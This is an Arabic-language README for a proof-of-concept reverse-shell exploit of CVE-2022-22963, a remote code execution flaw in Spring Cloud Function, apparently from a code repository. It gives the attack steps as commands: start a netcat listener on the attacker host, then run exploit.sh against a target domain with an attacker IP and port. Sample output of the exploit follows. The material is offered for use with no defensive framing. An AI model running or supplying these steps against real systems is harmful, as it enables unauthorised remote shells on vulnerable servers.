استغلال لـ RCE في Spring Cloud (CVE 2022-22963)

استغلال لـ CVE-2022-22963 لتنفيذ الأوامر عن بُعد في Spring Cloud Function

انظر للحصول على تفاصيل حول الثغرة هنا وهنا

PoC

قم بتشغيل netcat على مضيفك:

$ nc -lvnp 9001

قم بتشغيل الاستغلال (مثال) مع المنفذ الافتراضي 9001 على مضيف المهاجم:

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

قم بتشغيل الاستغلال (مثال) مع المنفذ المحدد 1337 على مضيف المهاجم:

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

الأكثر شعبية